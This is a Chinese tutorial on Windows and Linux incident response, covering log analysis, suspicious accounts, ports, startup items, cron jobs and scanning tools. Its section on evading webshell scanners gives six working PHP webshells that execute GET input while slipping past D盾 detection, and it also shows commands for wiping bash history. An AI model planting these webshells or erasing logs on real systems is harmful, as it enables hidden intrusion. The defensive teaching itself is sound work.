应急响应
一、应急响应第一步
断网
二、web日志分析
现存在这么一个日志文件,localhost_access_log.2021-04-01.txt
1. 想查看访问次数最多的ip
可以使用下面的命令
grep “时间” 代表搜索特定时间的ip
awk 分割,以空格分割,截取第一位
sort -rn 排序
uniq -c 计数
最后再使用sort -rn,将计数排序,就可以看到访问次数最多的ip了
cat localhost_access_log.2021-04-01.txt | grep "01/Apr/2021" | awk '{print $1}' | sort -rn | uniq -c | sort -rn
2. 获取指定ip 访问了哪些页面
比如说获取10.128.185.101访问了哪些页面
可以使用以下命令
grep “10.128.185.101” 指定特定的ip
选取访问的网站,所以awk按照空格分割选第7位
再去掉网站?后面的参数,所以再使用awk 指定?分割选择第1位
然后sort排序
uniq计数
sort最后给计数的排序
cat localhost_access_log.2021-04-01.txt | grep "10.128.185.101" | awk '{print $7}' | awk -F? '{print $1}'| sort -rn | uniq -c | sort -rn
3. 其它的命令
4. 日志分析工具
360星图
(1) 先修改配置文件,日志文件的路径
这里我将localhost_access_log.2021-04-01.txt这个日记文件,复制到这里,并且改名access.txt
(2) 然后以管理员身份运行start.bat
(3) 等待程序自动运行完,自动生成一个result文件夹
三、windows应急响应
1. 检查日志
(1) 日志管理工具
win + r 输入eventvwr.msc,打开日志管理工具
(2) 事件ID
一般重要的几个事件ID
4624 登录成功
4625 登录失败
4720 代表创建新用户
6005 代表开机系统
6006 代表关机系统
(3) 筛选功能
筛选指定的事件ID
(4) LogParserLizard_jb51工具查看
a) 安装工具
一直点下一步就行
b) 工具导入windows日志文件
windows的日志文件一般存放在这里
C:\Windows\System32\winevt\Logs
我们将这将这三种日志文件复制一份,然后创建个目录放进去
系统日志 system.evtx
应用程序日志 application.evtx
安全日志 security.evtx
我这里放在之前创建的那个日志文件的地方
然后LogParserLizard_jb51工具导入
c) 使用工具
点击这里运行,可以看到这个工具的使用跟mssql类似,都有top语法
2. 弱口令
判断操作系统是否存在弱口令,这个可以通过询问网络管理员
3. 检测敏感端口
判断是否存在敏感端口对外开放
我们的一些常见的端口
22 ssh
80 http
3306 mysql
1433 mssql
8080 tomcat
3389 远程登录
等等
4. 隐藏或者克隆账户
以$结尾的用户,使用net user查看不到,之前在权限维持的时候讲过
(1) 使用lusrmgr查看
win + r 输入lusrmgr.msc
(2) 使用D盾
5. 检查可疑文件
(1) 通过端口定位可疑文件
cmd 输入命令 netstat -ano 查看端口
主要看established 状态的,established 状态代表外连的ip
然后通过对应的pid,使用tasklist定位
比如说6444pid,对应的是chrome.exe进程,直接找这个程序的完整路径
(2) 在线查杀
将可疑文件上传到在线杀毒网站
a) virustotal
https://www.virustotal.com/gui/home/upload
这里我准备一个木马文件上传
基本两个以上的爆红,就被认为是病毒文件
b) 微步在线
https://x.threatbook.com/
6. 查看进程
(1) msinfo32
msinfo32查看进程
(2) D盾
D盾查看进程
(3) 火绒剑
火绒剑查看进程
7. 启动项
(1) 任务管理器
任务管理器查看启动项
(2) 注册表
注册表查看启动项
HKEY_CURRENT_USER\software\Microsoft\windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
(3) 火绒剑
8. 服务
(1) 服务查看器
win + r 输入services.msc 打开服务查看器
(2) 火绒剑
也是主要分析这种爆红的,未知文件
9. 计划任务
(1) 任务计划程序
本地搜索任务计划程序
(2) at 或者 schtasks 命令
cmd输入at 或者 schtasks 命令,查看计划任务
at 命令可以在低版本的windows使用
10. 检查系统相关信息
cmd 输入 systeminfo
根据systeminfo 的情况判断有哪些提权的工具可以使用
这有个在线提权的网站
https://i.hacking8.com/tiquan
11. 最近打开的文件
win + r 输入 %UserProfile%\Recent,可以列出最近打开的文件
通过查看最近打开的文件,寻找一些可疑的文件,有可能攻击者没清理干净痕迹,在这里就能看见什么时候,打开了某个木马文件
12. 查询用户
cmd 输入 quser 或者 query user , 查看当前主机登录了哪些用户
13. 病毒查杀软件
下面只是列出几个,还有很多杀软,百度去搜索即可
(1) 卡巴斯基
http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
(2) 大蜘蛛
https://free.drweb.ru/download+cureit+free
(3) 火绒安全软件
https://www.huorong.cn/
(4) 360杀毒
http://sd.360.cn/download_center.html
14. webshell查杀
(1) D盾_webshell查杀
https://www.d99net.net/index.asp
(2) 河马webshell查杀
https://www.shellpub.com/
(3) 深信服Webshell网站后门检测工具
这个网站好像不见了,可以网上找找别人保存的
https://sec.sangfor.com.cn/download?file=WebShellKillerTool.rar
(4) Safe3
http://www.uusec.com/webshell.zip
(5) 百度webshell查杀
https://scanner.baidu.com/#/pages/intro
https://www.shelldetector.com/
(6) 长亭
https://stack.chaitin.com/security-challenge/webshell/index
(7) 安全狗
https://www.safedog.cn/website_safedog.html
15. webshell免杀
这里我们主要学习绕过D盾就行
D盾,河马,深信服 这几种的都属于静态查杀
而百度和长亭是动态查杀,会运行代码的
所以最难绕过的还是百度和长亭
(1) 封装到类里面
可以看到按照这种写法,D盾扫描不出来,经过测试,发现D盾扫不出这种利用回调函数的,比如call_user_func,但是会扫出利用assert()函数调用,或者利用引用变量函数调用的
下面的几个我就不给出结果了,都是经过测试,没有被扫描到,并且可以运行的
<?php
class A {
private $val;
public function __construct($val)
{
$this->val = $val;
}
public function haha(){
return 'ass';
}
public function haha2(){
return 'ert';
}
public function __destruct(){
$a = $this->haha().$this->haha2();
call_user_func($a,$this->val);
}
}
$a_obj = new A($_GET[1]);
(2) 反射类调用注释
利用getDocComment方法,读取注释里面的内容
<?php
/**
* assert
*/
class A{
private $name;
private $val;
public function __construct($name,$val){
$this->name = $name;
$this->val = $val;
}
public function __destruct()
{
call_user_func($this->name,$this->val);
}
}
$refcls = new ReflectionClass('A');
$name = substr($refcls->getDocComment(),8,6);
$a = new A($name,$_GET[1]);
(3) 反射类调用命名空间
<?php
namespace assertHello{
class A
{
private $name;
private $val;
public function __construct($name, $val)
{
$this->name = $name;
$this->val = $val;
}
public function __destruct()
{
call_user_func($this->name, $this->val);
}
}
}
namespace {
$refcls = new ReflectionClass('assertHello\A');
$name = substr($refcls->getNamespaceName(), 0, 6);
$refcls->newInstance($name,$_GET[1]);
}
(4) 反射类调用常量
这个是我自己联想出来的
<?php
error_reporting(0);
class A{
const FUNCNAME = 'assert';
private $name;
private $val;
public function __construct($name, $val)
{
$this->name = $name;
$this->val = $val;
}
public function __destruct()
{
call_user_func($this->name, $this->val);
}
}
$refcls = new ReflectionClass('A');
$name = $refcls->getConstant(FUNCNAME);
$refcls->newInstance($name,$_GET[1]);
(5) 正则替换函数preg_replace
除了call_user_func.也还可以使用preg_replace,或者usort,array_map等,这里其它的写起来可能复杂点,所以我自己试了下preg_replace
<?php
error_reporting(0);
class A{
private $val;
public function __construct($val)
{
$this->val = $val;
}
public function __destruct()
{
preg_replace('/test/e',$this->val,"just test!");
}
}
$a = new A($_GET[1]);
(6) 数组
通过使用[] 数组 可以绕过对可变函数调用的限制
<?php
$a = 'ass';
$a.='ert';
array(1,array(2,array(3,array(4,[$a($_GET[1])]))));
16. 情报分析网站
可以将可以ip放到以下的网站去分析,或者某些网站也可以分析可以文件
微步在线: https://x.threatbook.com/
绿盟: https://nti.nsfocus.com
奇安信: https://ti.qianxin.com
安恒: https://ti.dbappsecurity.com.cn
https://data.websaas.cn
360: https://ti.360.cn
360移动端: http://appscan.360.cn
四、windows应急响应之病毒案例
1. 勒索病毒
勒索病毒采用的是RSA非对称加密
(1) RSA 非对称加密
RSA 非对称加密
公钥 私钥
普通的client ====> 公钥加密 bihuo.cn ====> xxfdsfsadfsafsafa ===> 发给服务器
攻击者截取到xxfdsfsadfsafsafa 只有公钥 没有私钥 无法解密
服务器 拥有私钥 xxfdsfsadfsafsafa 解密 bihuo.cn
普通的client ===> bihuo.cn 加密数据 ====>xxxxfdsafsaf ====> 服务器
攻击者截取到xxxfdsafsaf 不知道对称的密钥 无法解密
(2) 对称加密
加密和解密使用的是同一个密码
(3) 中间人攻击
攻击者 伪造客户端身份 直接跟服务器通讯 中间人攻击
(4) 如何防御中间人攻击
比如cobalt strike工具登录的时候,有一步会问指纹是否匹配,这就是用来防御中间人攻击
再比如浏览器,会利用受信任的根证书,都是用来防御中间人攻击的
- 证书过期
- 证书不可靠
(5) 勒索病毒应急响应的流程
2. 挖矿病毒
https://mp.weixin.qq.com/s/KfQ8oTJWoG0kMj_FWCSf9w
五、linux应急响应
1. 判断是否存在弱口令
2.判断是否有敏感端口对外开放
3. linux 是否有新增的用户
(1) 检查密码文件
/etc/passwd文件中 最后一项 /bin/bash /bin/sh 代表可以登录的用户
cat /etc/passwd | grep -E '\/bin\/(bash|sh)'
通过/etc/shadow 文件 判断用户是否可以登录 查看密码字段 看是否以$1 或者$6作为开头
cat /etc/shadow | grep -E '\:\$(1|6)'
(2) 禁用账户
这里如果发现可疑的用户,直接删除用户的话,用户的文件都会丢失,后面如果发现该用户不是攻击者,会造成很大麻烦,因此,当发现可疑用户的话,可疑先进行锁定,使之无法登录,然后去查询是否是授权的用户,是的话再解锁
/etc/shadow文件中,如果第二位密码以!号开头,代表用户被锁住,无法登录
禁用账户的命令
usermod -L 用户名
解锁账户的命令
usermod -U 用户名
4. 权限配置错误
涉及sudo属性
sudo 当前用户能够在哪些主机下以哪些用户的身份执行特定的代码
只需要验证当前用户的密码
%sudo 代表的就是sudo组
5. 当前用户的登录情况
使用命令
w
uptime
who
w 查看当前用户登录情况
其中 tty 代表本地登录
pts 代表远程登录
可以看到当我在windows远程登录kali的时候,在kali里面使用再次使用w命令.对出个pts的,并且给出了windows的也就是远程登陆者的ip
6. 历史命令
history
查看历史记录命令
清除 history -c
history -c 只是清除内存中的历史命令,当打开另一个终端的时候,使用history还是可以查看到历史记录命令
永久清空 rm /home/用户名/.bash_history
root用户的永久清空 rm /root/.bash_history
7. 检查端口
(1) 查看端口
linux使用 netstat -antlp 查看端口
主要查看是否外连ip,是否established
(2) 查找文件
获取到怀疑的pid ===> ls -al /proc/pid/exe 找到真实执行的文件
也可以利用ps命令查找出文件的路径
ps -ef | grep pid 查看对应进程指向的真实的文件
(3) 将可疑文件上传
可以利用在virustotal或者微步在线等网站,上传文件,然后分析
8. 启动项
不同版本的linux系统启动项保存的位置会有差异
ubuntu centos redhat
这里我演示的kali,属于ubuntu
kali的启动项位置为 /etc/init.d
只要你怀疑下面的某些文件,就可以无脑上传到在线查杀网站,virustotal或者微步在线
9. 计划任务
在linux提权的时候,我们使用过/etc/crontab文件,来发布定时任务提权,
因此可以查看/etc/crontab文件,看是否被攻击者写入了定时任务
不光是/etc/crontab 文件,还有一些其它的文件也存在定时任务,并且和/etc/crontab 文件毫不冲突
cron.d 不同用户可以将自身的计划任务写在该目录下
cron.daily 代表每天
cron.hourly 代表每小时
cron.monthly 代表每月
coon.weekly 每周
下面以cron.daily举例,理论上这个目录下的程序每天都会定时的启动
如果怀疑某个文件,就可以无脑上传在线查杀网站,比如说我上传这个apache2文件
10. 服务
只限定redhat系统,输入命令chkconfig查看系统运行级别
这里举例修改开机启动ssh服务,刚开始可以看到sshd服务的5是启用的,代表图形模式开启自启动
并且检查端口,22端口开放
此时我们使用命令chkconfig --level 5 sshd off 关闭sshd的5级别
重启系统,再次检查端口,22端口关闭,ssh服务在图形模式开机的时候未启动
11. 隐藏文件
当文件名以. 作为开头时 此时直接使用dir 或者 ls 并不能列出文件
必须使用ls -al才行
12. 日志文件
通过查看这些日志文件,或许可以发现攻击方遗留的痕迹
下面介绍几个日志文件
(1) /var/log/cron
通过查看 /var/log/cron 可以直到计划任务的执行情况
(2) /var/log/btmp
记录错误登录日志
使用lastb命令查看
这里我先使用ssh远程登录kali,使用错误的密码登录两次
可以发现 有两次 ssh:notty 并且 ip都列出来了,那是代表ssh登录失败的
而上面两个tty代表本地登录失败的
lastb 可以查看历史登录失败的具体时间 账户 方式
(3) /var/log/lastlog
使用lastlog命令查看这个日志文件
lastlog 就是记录 每一个用户最后一次登录的时间 以及通过何种方式登录
先使用lastlog查看
然后我在windows主机上以ssh远程登录kali,再使用lastlog命令
发现kali用户那一行, 出现了pts,并且给出了登录主机的ip
(4) /vat/log/wtmp
这个日志文件永久记录了所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件,可以使用last命令查看
通过last命令可以查看每一次用户登录的时间 登出的时间
下面可以看到,我先使用last命令,发现kali这个用户是192.168.11.142主机登录者,并且显示仍在在线,pts代表的是远程登录的用户,这是因为之前,我在windows主机使用ssh远程登录了kali
当我在windows退出ssh连接后,发现在kali里面再次使用last命令,192.168.11.142主机不在登录,只给出了登录的时间段
(5) /var/log/utmp
这个文件记录已经登录的用户信息,可以使用w、who、users等命令查看
tty代表本地登录,pts代表远程登录
(6) /var/log/secure
可以看到详细的登录情况
当我在redhat系统,故意以root用户登录失败两次,然后成功登录进去后
通过使用 cat /var/log/secure 这个命令查看这个日志文件,发现,两次登录失败,一次会话成功打开
既然可以本地登录记录,那么当使用别的主机通过ssh远程登录时候,发现一样被记录,两次故意登录失败,一次登录成功,并且会有sshd标识,代表远程登录的
13. 杀毒软件
(1) clamav
Ubuntu使用下面的命令按照clamav,一定要按照步骤来,中间有失败的命令,但还是要执行一下
apt-get update
sudo apt-get install clamav
sudo apt-get install clamav-daemon
sudo freshclam
sudo lsof /var/log/clamav/freshclam.log
sudo systemctl stop clamav-freshclam.service
sudo freshclam
clamscan
递归式的扫描/home目录 只打印有问题的文件 将有问题的文件移动到/opt/infected目录下 并将日志写入到
clamscan -r -i /home --move=/opt/infected -l /var/log/clamscan.log
这里安装成功,但是使用命令失败了,知道有这个软件就行
(2) rootkit 专杀工具chkrootkit
工具下载地址: http://www.chkrootkit.org/
可以理解rootkit是一个高级木马
这里直接使用的是脚本文件
因为我的kali里面没有rootkit病毒,所以没扫出来
(3) rkhunter
工具下载地址: http://rkhunter.sourceforge.net/
主要查看哪些告警的文件,如果怀疑哪个,就上传到在线查杀网站去
14. webshell查杀
参考windows的webshell查杀
安全狗 d盾 深信服 河马 百度webdir+ 长亭
15. 在线查杀网站
VirSCAN:
https://www.virscan.org
VirusTotal:
https://www.virustotal.com
ANY.RUN:
https://any.run
NoDistribute:
http://nodistribute.com
Hybrid Analysis:
https://www.hybrid-analysis.com
魔盾安全分析:
https://www.maldun.com
微步在线云沙箱:
https://s.threatbook.cn
腾讯哈勃分析系统:
https://habo.qq.com
奇安信威胁情报中心:
https://ti.qianxin.com
大圣云沙箱检测系统:
https://mac-cloud.riskivy.com
这里主要介绍ANY.RUN这个网站,它的沙盒是实时更新的,并且可以自己生成一个windows环境
我们自己使用msfvenom生成一个病毒,让它回连10.1.1.8的23331端口,ip都是瞎写的
可以看到,它检测出了ip和端口
将ip提交给情报分析平台
16. 基线扫描工具
网络安全基线扫描软件主要是扫描操作系统、数据库和网络设备的基本配置参数
(1) GScan
直接根据readme里面通过python运行脚本文件即可
(2) whokk
直接使用脚本 -h 给出帮助菜单
每个都可以去试试,下面演示了外连ip的
17. linux应急响应之病毒案例
(1) 挖矿病毒
(2) SSH暴力破解+crontab隐藏后门
https://mp.weixin.qq.com/s/kvl9WP1jJpoFZ-SO97urmA
(3) webshell后门
https://mp.weixin.qq.com/s/fMXI1AaGoaZJzwpY-IIaQQ